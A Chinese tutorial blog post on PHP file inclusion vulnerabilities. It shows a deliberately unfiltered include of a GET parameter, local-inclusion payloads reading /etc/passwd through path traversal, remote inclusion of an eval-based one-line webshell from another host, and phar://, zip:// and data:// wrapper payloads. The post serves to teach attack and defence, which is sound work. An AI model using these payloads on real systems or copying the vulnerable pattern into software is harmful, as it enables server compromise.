首页 > 编程语言 >基于PHP的文件包含介绍

基于PHP的文件包含介绍

时间:2024-08-25 17:23:22浏览次数:9  
标签:文件 基于 php http 包含 0.1 include file PHP

引言:在实际开发过程中,经常会遇到部分模块功能需要重复使用的情况,比如数据库的增删改查,文件包含通过将需要重复使用的功能模块代码引入其他文件的内容,实现重用代码、分离配置等。然而,如果文件包含操作不当,可能会引发所谓的文件包含漏洞,导致安全问题。

一、本地文件包含

这种类型的文件包含漏洞允许攻击者访问本地文件系统上的文件
利用需要满足的条件:

  • 1.php.init中的allow_url_fopen=On(默认开启)
  • 2.用户参数可控且后台代码没有对包含的文件进行过滤

例子: 

在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:

<?php

#本地文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename;     //或include_once require   require_once
echo "Hello World";
?>


利用方式:

1.将txt的文件内容转换成PHP代码执行

http://127.0.0.1:8082/file_include.php?filename=phpinfo.txt

2.利用文件包含获取系统敏感文件内容

http://127.0.0.1:8082/file_include.php?filename=/etc/passwd

http://127.0.0.1:8082/file_include.php?filename=../../../../../../../etc/passwd

二、远程文件包含

此类型允许攻击者通过包含远程URL来执行代码。

利用需要满足的条件条件

  • php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启
  •  用户参数可控且后台代码没有对包含的文件进行过滤

例子: 

在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:


#远程文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启 
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename;     //或include_once require   require_once
echo "Hello World";


 利用方式:

1.直接包含jd页面,跳转到jd页面

http://127.0.0.1:8082/file_include.php?filename=http://jd.com

2.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.php文件 ,shell.php文件的内容为<?php @eval($_GET['code']);?>

http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.21/test/shell.php?code=phpinfo();    注意:此时执行的是127.0.0.1的phpinfo()命令

3.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.txt文件 ,shell.txt文件的内容为<?php @eval($_GET['code']);?>   注意:此时执行的是192.168.3.1的phpinfo()命令

http://127.0.0.1:8082/file_include.phpfilename=http:192.168.3.1/test/shell.txt&code=phpinfo();

3.在任意服务器上写入一段木马程序

在opt/phpstudy_pro/WWW/test目录下如一句化木马

 file_put_contents("opt/phpstudy_pro/WWW/test",'<?php @eval($_GET["code"]);?>');

访问http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.1/test/shell.php?code=phpinfo();

三、伪协议 

  • 1.file://伪协议用于访问本地文件系统中的文件。这个伪协议可以直接操作本地文件,包括读取、写入等操作。
  • 2.http:// 和 https:// 伪协议用于发送HTTP请求并获取远程资源的内容。这包括获取网页内容、向远程服务器发送数据等。
  • 3.ftp://伪协议用于访问和操作FTP服务器上的文件。这包括上传、下载、删除等文件操作。
  • 4.php://伪协议用于访问各种输入/输出流。例如,php://input用于读取POST请求的原始数据,php://output用于写入输出缓冲区的数据
  • 5.data://伪协议用于在脚本中直接嵌入数据。这个伪协议允许开发者在代码中直接定义和使用数据,而无需借助外部文件。
  • 6.glob://伪协议用于查找匹配特定模式的文件路径。这对于搜索符合某个通配符规则的文件非常有用
  • 7.phar://伪协议用于操作PHP归档文件。这是一种将多个PHP文件打包成一个单一文件的方式,方便分发和部署。
  • 8.ssh2://伪协议用于通过SSH2协议访问远程资源。这主要用于安全地访问和操作远程服务器上的文件和数据。
  • 9.rar://伪协议用于操作RAR压缩文件。这允许开发者在PHP中直接读取和处理RAR文件。
  • 10.ogg://伪协议用于处理音频流。这允许开发者在PHP中直接读取和操作音频数据流。
  • 11.expect://伪协议用于处理交互式数据流。这允许与需要用户交互的应用程序进行通信,如命令行程序提示输入用户名和密码等情况。

常用的伪协议

1.phar://主要用于在PHP对压缩文件的读取,用法就是把一句话木马压缩成zip格式,shell.txt->shell.zip 将文件上传到服务器目录下

http://127.0.0.1:8082/file_include.php?filename=phar://shell.zip/shell.txt

2.zip:// 原理和phar:// 差不多      注意:压缩的/符号要改成#的url编码,也就是%23

// http://127.0.0.1:8082/file_include.php?filename=zip://shell.zip%23shell.txt

3.data:// 本身是数据流封装器,其原理和php://input类似,但是是发送GET请求参数

http://127.0.0.1:8082/file_include.php?filename=data://test/plain,<?php phpinfo(); ?>

标签:文件,基于,php,http,包含,0.1,include,file,PHP
From: https://blog.csdn.net/weixin_54799594/article/details/141404665

相关文章

  • 【逐行注释】基于CV/CT模型的IMM|MATLAB程序|源代码复制后即可运行,无需下载
    订阅专栏后可以直接查看完整的源代码(和注释),无需付费下载或其他的操作。代码复制到MATLAB上面可以得到和我一样的运行结果。文章目录程序概述完整代码与逐行注释运行结果解释按模块分析代码程序概述基于EKF的多模型交互。以CV和CT两个模型进行交互,这里对代码进......
  • 基于django+vue摄影网站的设计与实现【开题报告+程序+论文】计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着互联网技术的飞速发展和普及,数字化摄影已成为大众生活的一部分,摄影作品的传播与分享方式也发生了深刻变革。传统的摄影展示与交易方式......
  • 基于django+vue摄影爱好者交流平台【开题报告+程序+论文】计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着数字技术的飞速发展,摄影艺术已不再是专业摄影师的专属领地,越来越多的普通民众也加入了摄影爱好者的行列。他们热衷于捕捉生活中的美好......
  • 基于django+vue社团管理系统【开题报告+程序+论文】计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着高等教育的普及和学生自主性的增强,校园社团作为培养学生综合素质、促进文化交流的重要平台,其数量与种类日益增多。然而,传统的手工管理......
  • 基于python+flask框架的社区团购平台(开题+程序+论文) 计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着互联网技术的飞速发展和智能设备的普及,电子商务已渗透到人们生活的方方面面,社区团购作为一种新兴的电商模式,近年来迅速崛起并受到广泛......
  • 基于python+flask框架的基于推荐系统的电影网站系统小程序前端(开题+程序+论文) 计算机
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景在数字化时代,互联网已成为人们获取信息和娱乐的主要途径之一,电影作为大众喜爱的文化消费形式,其在线观看和推荐需求日益增长。随着电影产业......
  • 基于python+flask框架的基于WEB的咖啡销售系统(开题+程序+论文) 计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景在快节奏的现代生活中,咖啡已成为许多人日常生活中不可或缺的饮品,不仅因为其独特的口感和提神醒脑的功效,更因其承载了社交、休闲等多种文化......
  • 基于python+flask框架的网上电影购票系统(开题+程序+论文) 计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着互联网技术的迅猛发展和智能设备的普及,线上娱乐消费已成为人们日常生活的重要组成部分。电影作为深受大众喜爱的文化娱乐形式之一,其购......
  • 基于Node.js+vue四川省非物质文化遗产之传统美术数字平台设计与实现(程序+论文+开题报
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容研究背景在全球化与现代化的浪潮中,非物质文化遗产作为民族文化的瑰宝,正面临着传承与保护的严峻挑战。四川省,作为中华文化的重要发源地之一,拥有丰富的非物质文化遗产......
  • 基于python+flask框架的力悦月子会所管理系统(开题+程序+论文) 计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景近年来,随着人们生活水平的提高和健康意识的增强,母婴健康服务行业迎来了前所未有的发展机遇。力悦月子会所作为高端母婴护理服务的代表,其服......